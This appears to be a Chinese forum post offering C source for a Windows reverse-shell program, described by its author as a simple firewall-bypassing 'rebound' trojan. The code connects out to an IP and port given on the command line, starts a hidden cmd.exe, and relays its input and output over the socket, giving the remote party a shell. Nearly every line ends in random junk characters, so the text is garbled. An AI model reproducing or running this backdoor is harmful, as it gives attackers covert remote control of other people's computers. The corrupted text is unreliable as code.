这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^2kWD8c*
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/* ============================== ^Nsl5
Rebound port in Windows NT @5?T]V g
By wind,2006/7 Q5,@P?
===============================*/ H;sQ]:.*]
#include R^B2J+O
#include @i{JqHU"
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#pragma comment(lib,"wsock32.lib") mzT} C&hfP
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void OutputShell(); MW`a>'0t?
SOCKET sClient; /a$+EQ$
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D`t e|K5
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void main(int argc,char **argv) #>v7"
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{ pz&=5F
WSADATA stWsaData; YQ]H3GA
int nRet; y{<#pS.
SOCKADDR_IN stSaiClient,stSaiServer; xeI ,Kz."
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if(argc != 3) 34oLl#q*
{ D@^F6am%
printf("Useage:\n\rRebound DestIP DestPort\n"); bg
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return; :T\WYKX3C
} QhGg^h%6
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WSAStartup(MAKEWORD(2,2),&stWsaData); kQ#eWk J,
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `>sqP aD
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stSaiClient.sin_family = AF_INET; N6J$z\
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stSaiClient.sin_port = htons(0); sN
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hL`zV
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *b)b#p
{ `U g.c
printf("Bind Socket Failed!\n"); 6#KI?
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return; Agi1r]W
} *cf"l
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stSaiServer.sin_family = AF_INET; uWWv`bI>x
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); NdNfai
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %7d"()L
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4w
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{ qXI30Yo#d
printf("Connect Error!"); ^J
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return; zl:D|h77
} b{I`$E<[
OutputShell();
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} !X8UP{J)L
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void OutputShell() \a6)t%u
{ 9/$P_Q:3
char szBuff[1024]; $dnHUBB
SECURITY_ATTRIBUTES stSecurityAttributes; Nb#7&_f=
OSVERSIONINFO stOsversionInfo; lBn*G&(P
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; m4DH90~a8
STARTUPINFO stStartupInfo; 5HbTgNI
char *szShell; Az-!LAu9 R
PROCESS_INFORMATION stProcessInformation; 3EZw F
unsigned long lBytesRead; 6J
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 'YR5i^:t
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); yo.SPd="Vx
stSecurityAttributes.lpSecurityDescriptor = 0; "<2bjy
stSecurityAttributes.bInheritHandle = TRUE; {T.Vu]L80
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]-'9|N*}l
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2SJh6U
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); u}1vn} F{
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )/Xrhhx
stStartupInfo.wShowWindow = SW_HIDE; /
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stStartupInfo.hStdInput = hReadPipe; 5lxq-E3
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; z{g<y^Im+E
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GetVersionEx(&stOsversionInfo); 9AYe,R
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switch(stOsversionInfo.dwPlatformId) 4) 3pa*
{ 12PE{Mut
case 1: lDU:EJ&DHE
szShell = "command.com"; h<K;VpL6
break; N ]7a=
default: zsXH{atY
szShell = "cmd.exe"; 'r n;|K
break; "|'`'W
} w)eQ'6Vu
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Ql@yN@V
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send(sClient,szMsg,77,0); {@ y,
while(1) is?&%VY
{ _<a)\UR
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I=%sDn
if(lBytesRead) 4@e!D Du
{ [T}]Ma*CS
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /V<`L
send(sClient,szBuff,lBytesRead,0);
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} ?+O|mX}`-
else DiQkT R
{ GQ0 (&I
lBytesRead=recv(sClient,szBuff,1024,0); %B&?D@
if(lBytesRead<=0) break; I*t)x,~3
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~9 WJrRWB
} ,Q#tA|:8j
} 1ysLZ;K
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return; =Xjuz:9D~
}